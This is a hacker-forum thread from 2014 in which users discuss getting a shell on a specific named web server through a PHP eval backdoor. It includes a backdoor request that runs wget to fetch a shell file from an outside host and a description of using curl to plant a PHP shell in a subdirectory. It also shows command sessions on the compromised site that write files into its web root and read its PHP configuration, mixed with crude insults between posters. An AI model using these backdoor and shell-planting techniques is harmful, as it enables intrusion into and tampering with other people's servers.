Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell using Custom Eval code?

Sent you a seashell.‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎
How coincidental that I have a shell on that same server, thats not weird at all.

-Chosen-
(Jul 9, 2014 08:12 AM)Cathal Wrote:  Why bother using PHP when no functions are disabled?
Code
backdoor.php?cmd=system('wget http://example.org/shell.ext');

I tried this and it didn't work for some reason. Perhaps it caused some error in the php backend?

Also, any php uploaded/downloaded to the document root would not be evaluated (see here), so I just uploaded it to a subdir ("xls" in this case).
(Jul 9, 2014 08:07 AM)Team4o4 Wrote:  I don't know why this didn't work the first time, but I attempted to CURL to a text file of a PHP shell then file_put_contents into a local file. My first attempt at this failed, however the one I tried right after posting this thread, worked!



Sorry buddy, I'm testing my shell that I'm developing. I'm not going to screw it up for ya.

Lol it doesn't bother me bro, just a thought lol they run backups from time to time
(Jul 9, 2014 08:54 AM)Cathal Wrote:  I honestly thought this thread was a joke, and you actually knew your shit. My mistake.

Code
wget google.com -O dipshit.html
--15:49:21--  http://www.google.com/index.html
      => `dipshit.html'
Resolving www.google.com... 74.125.131.105, 74.125.131.104, 74.125.131.103, ...
Connecting to www.google.com|74.125.131.105|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    0K ...... ......      854.64 KB/s

15:49:21 (854.64 KB/s) - `dipshit.html' saved [19600]

htdocs>

http://www.lakewaymud.org/dipshit.html

Code
htdocs>echo '<?php phpinfo(); ?>' > wrongagain.php
htdocs>

http://www.lakewaymud.org/wrongagain.php

Code
htdocs>cat /usr/local/php-5.4.23/lib/php.ini | grep 'short_open_tag'
; - short_open_tag = Off      [Portability]
short_open_tag = Off
htdocs>

Lol I was high who gives a fuk. Lord now mr cathel thinks lowly of me what am I gonna do...
(Jul 9, 2014 02:06 PM)Tony Spilotro Wrote:  Gah. Blah. Unneeded cat is unneeded. Bleh.

grep "Take the dildo out of your ass?" /usr/local/php-5.4.23/lib/php.ini

I just pulled up the latest release of SkiddyIdiotTranslator v1.3 and popped in what you said. Here's what it came back with -

Code
> WHY DO I GIVE A SHIT

Your attitude stinks.

Thank you for your support I will writing your bank statement next tuesday.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by poision-v1p3RApr 18, 2017 12:35 AM 37 2,392 Apr 18, 2017 12:35 AM
Last Post: Malicious Intent
by PhizoMay 9, 2014 05:24 AM 29 2,067 May 9, 2014 05:24 AM
Last Post: Tony S
by Onli-Ask-MeAug 8, 2012 05:38 AM 1 579 Aug 8, 2012 05:38 AM
Last Post: Unacknowledged